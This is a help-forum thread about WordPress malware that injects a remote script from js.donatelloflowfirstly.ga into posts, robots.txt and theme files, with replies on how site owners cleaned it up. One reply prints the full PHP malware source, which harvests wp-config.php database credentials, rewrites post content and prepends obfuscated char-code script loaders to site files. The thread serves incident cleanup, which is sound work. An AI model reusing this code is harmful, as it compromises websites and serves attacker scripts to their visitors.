Random Java Scripts keep adding my WordPress site on every page how should i remove them?

Viewed 9195

some malware get into my WordPress site and they insert these types of scripts in every post and pages, How can I remove this so I don't have to do it manually one by one

they even inserted this script in robots.txt & in the description of every media item

Crome Inspect ... editor


" <script src='https://js.donatelloflowfirstly. ga/stat.js?n=ns1' type='text/javascript'></script> " 

5 Answers

Either start by disabling the plugin one by one to find out if the culprit comes from one of your plugins. Then, if it does not disappear, try changing the theme.

Or, it would be easier probably to just download the entire and use something like grep4win to search the whole folder for a specific string (in your case js.donatelloflowfirstly).

check your publich_html directory.. maybe you will find a file called : _a it's a malware injection code that inject

<script src='https://js.donatelloflowfirstly. ga/stat.js?n=ns1' type='text/javascript'></script>

to every post and every index.php file

I've the same issue 10 hours ago and I've cleaned my site

and here's the content of the _a malware file :

<?php echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors',1);


search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php");
die();

  
function get_var_reg($pat,$text) {
    
    if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
    {
        return $matches[1][0];
    }
        
    return "";
}
function search_file_ms($dir,$file_to_search){

$search_array = array();

$files = scandir($dir);

if($files == false) {
    
    $dir = substr($dir, 0, -3);
    if (strpos($dir, '../') !== false) {
        
        @search_file_ms( $dir,$file_to_search);
        return;
    }
    if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
        
        @search_file_ms( $dir,$file_to_search);
        return;
    }
}

foreach($files as $key => $value){


    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);

    if(!is_dir($path)) {
        if (strpos($value,$file_to_search) !== false) {
        
            show_sitenames($path);
            
            
            
        }

    } else if($value != "." && $value != "..") {

        @search_file_ms($path, $file_to_search);

    }  
 } 
}
function show_sitenames($file){
    $content = @file_get_contents($file);
    if(strpos($content, "DB_NAME") !== false) {
    
    
    $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
    $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
    $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
    $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);


// Create connection
$conn = new mysqli($host, $user, $pass);

// Check connection
if ($conn->connect_error) {
 
} else { 


$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
    $result2 = $conn->query($q2);
    if ($result2->num_rows > 0) {
        while($row2 = $result2->fetch_assoc()) {
            $val = $row2['post_content'];
            if(strpos($val, "js.donatelloflowfirstly.ga") === false){
                if(strpos($val, "js.donatelloflowfirstly.ga") === false){
                    
                
                    $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'";
                    $conn->query($q3);
                    echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
                
                } else {
                
                }

            } 
        }
    } else {
    }
    }
} else {
}
$conn->close();
}
}
}

function search_file($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
    
    $dir = substr($dir, 0, -3);
    if (strpos($dir, '../') !== false) {
        
        @search_file( $dir,$file_to_search);
        return;
    }
    if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
        
        @search_file( $dir,$file_to_search);
        return;
    }
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    
    if(!is_dir($path)) {
        if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

        make_it($path);

    } }else if($value != "." && $value != "..") {

        search_file($path, $file_to_search);

    }  
 } 

}

function search_file_index($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
    
    $dir = substr($dir, 0, -3);
    if (strpos($dir, '../') !== false) {
        
        search_file_index( $dir,$file_to_search);
        return;
    }
    if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
        
        search_file_index( $dir,$file_to_search);
        return;
    }
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    
    if(!is_dir($path)) {
        if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

        make_it_index($path);

    } }else if($value != "." && $value != "..") {

        search_file_index($path, $file_to_search);

    }  
 } 

}
function search_file_js($dir,$file_to_search){

$files = @scandir($dir);
if($files == false) {
    
    $dir = substr($dir, 0, -3);
    if (strpos($dir, '../') !== false) {
        
        @search_file_js( $dir,$file_to_search);
        return;
    }
    if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
        
        @search_file_js( $dir,$file_to_search);
        return;
    }
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    
    if(!is_dir($path)) {
        if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {

        make_it_js($path);

    } }else if($value != "." && $value != "..") {

        search_file_js($path, $file_to_search);

    }  
 } 

}

function make_it_js($f){
            $g = file_get_contents($f);
            
                                        

if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) {

} else {

$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "js:".$f."\r\n";
}

            
}
function make_it_index($f){

if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false || strpos($g, 'js.donatelloflowfirstly.ga') !== false) {

} else {
$l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;

@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "in:".$f."\r\n";


            }
}

function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) {

} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}


            }
}

as you can see, the code reveal DB login info and inject the script code to any index.php file , and theme function too.

i made a search and replace in db, and cleaned this code from all wp_posts table and almost deleted all plugins because it's infect any index.php file in the whole home directory.

It can be in header.php like this https://gist.github.com/riper81/70e6fa8ac703d105490b6f5bb1708436

But it's pointless to delete it now. First you need to find out how the hacker got to the server and fix the hole. It may be vulnerable version of wordpress engine / plugin, theme (not even active) / custom script / other site on the same server.

I have got this virus, almost every night at 10pm they attack my website. Although i had clean all the malware as mention above. Just now, i found something abnormal. I check that on my database of this hacked website, there is strange username with all privileged users which i never add into. Maybe they inject the malware through this privileged users. Now i delete this privileged users, we'll see whats going to happen next. Hoping this will solved the problem.

I have already been hit by the second wave of this malware, it acts on Friday, the first time I cleaned all the scripts from the database doing a search for "donatello", after locating the entries, I gave an update to the bank: UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src = 'https: //js.donatelloflowfirstly.ga/stat.js? n = ns1 ′ type =' text / javascript '> </script>”,' ') );

then only a senama started working again, last Friday it came back and I couldn't find these records, it seems that the way of acting has changed. I just found out that it was in the first lines of the FUNCTIONS.PHP and HEADER.PHP file of my theme, I removed the lines and it worked again, but I still don't know the source of the problem.

Related